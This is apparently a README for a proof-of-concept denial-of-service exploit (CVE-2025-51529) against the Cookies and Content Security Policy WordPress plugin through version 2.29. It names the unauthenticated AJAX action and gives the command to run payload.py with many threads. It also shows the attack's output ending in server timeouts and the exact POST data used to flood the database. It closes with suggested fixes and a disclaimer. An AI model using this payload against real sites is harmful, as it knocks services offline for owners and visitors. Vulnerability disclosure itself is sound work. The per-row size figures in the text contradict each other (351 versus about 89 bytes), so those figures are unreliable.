Incorrect Access Control in the AJAX endpoint functionality in jonkastonka Cookies and Content Security Policy plugin through version 2.29# CVE-2025-51529: WordPress Cookies and Content Security Policy Plugin DoS Vulnerability
Incorrect Access Control in the AJAX endpoint functionality in jonkastonka Cookies and Content Security Policy plugin through version 2.29 allows remote attackers to cause a denial of service (database server resource exhaustion) via unlimited database write operations to the `wp_ajax_nopriv_cacsp_insert_consent_data` endpoint.
The vulnerability exists in the `cacsp_insert_consent_data()` function, which is exposed through WordPress's AJAX endpoint (`wp-admin/admin-ajax.php`) without authentication requirements. The plugin uses `wp_ajax_nopriv_` action, making it accessible to unauthenticated users.
**Attack Vector:** Remote attackers can send unlimited concurrent POST requests to overwhelm the database server with write operations, causing CPU and disk I/O exhaustion.
## Vulnerability details
- **CVE ID**: CVE-2025-51529
- **Status**: RESERVED
- **Type**: Incorrect Access Control / Denial of Service
- **Product**: Cookies and Content Security Policy plugin through version 2.29
- **Vendor**: Johan Jonk Stenstroem (jonkastonka)
- **Affected Function**: cacsp_insert_consent_data()
- **Attack Vector**: Remote
- **Discoverer**: Piotr Bednarski
## Requirements
- Python 3.x
- `requests`
- `matplotlib`
- `threading`
## Usage
Basic usage of the PoC script is as follows:
```bash
python payload.py --target <target_url> --threads <number_of_threads>
```
By default, the number of threads is set to 100. You can specify a different number of threads by providing it as the second argument.
### Example output

```bash
Target WordPress URL (https://example.com): https://vulnerable-site.com
Number of threads (default 100):
Launching DoS attack with 100 threads...
Press Ctrl+C to stop the attack
[19:41:20] ✓ Status: 200 | Response time: 538.3ms | DB: 0.00MB (1 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 554.51ms | DB: 0.00MB (2 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 522.29ms | DB: 0.00MB (3 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 498.72ms | DB: 0.00MB (4 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 946.94ms | DB: 0.00MB (5 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 858.41ms | DB: 0.00MB (6 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 922.29ms | DB: 0.00MB (7 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 991.41ms | DB: 0.00MB (8 rows, 351b/row)
...
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
```
## How it works
The exploit sends POST requests to `/wp-admin/admin-ajax.php` with:
```python
data = {
'action': 'cacsp_insert_consent_data',
'accepted_cookies': 'necessary,experience,analytics,marketing',
'expires': "9" * 255 # Maximum TINYTEXT length
}
```
Each successful request inserts a new database row containing:
- Timestamp (19 bytes)
- IP Address (~13 bytes)
- Cookie preferences (variable)
- Expiration data (up to 255 bytes)
- Site ID (1 byte)
- MySQL overhead (~22 bytes)
**Result:** ~89 bytes per request × unlimited requests = rapid database growth
## Recommended Fixes
- Add nonce verification for AJAX calls
- Implement rate limiting per IP
- Validate user inputs properly
## Disclaimer
This PoC is for educational purposes only. The author is not responsible for any misuse or damage caused by the use of this code. Always obtain permission before testing against any system.
[4.0K] /data/pocs/470526d42a15246226006cc12efbc8b17d8f7848
├── [103K] dos_attack_chart.png
├── [6.1K] payload.py
└── [3.6K] README.md
0 directories, 3 files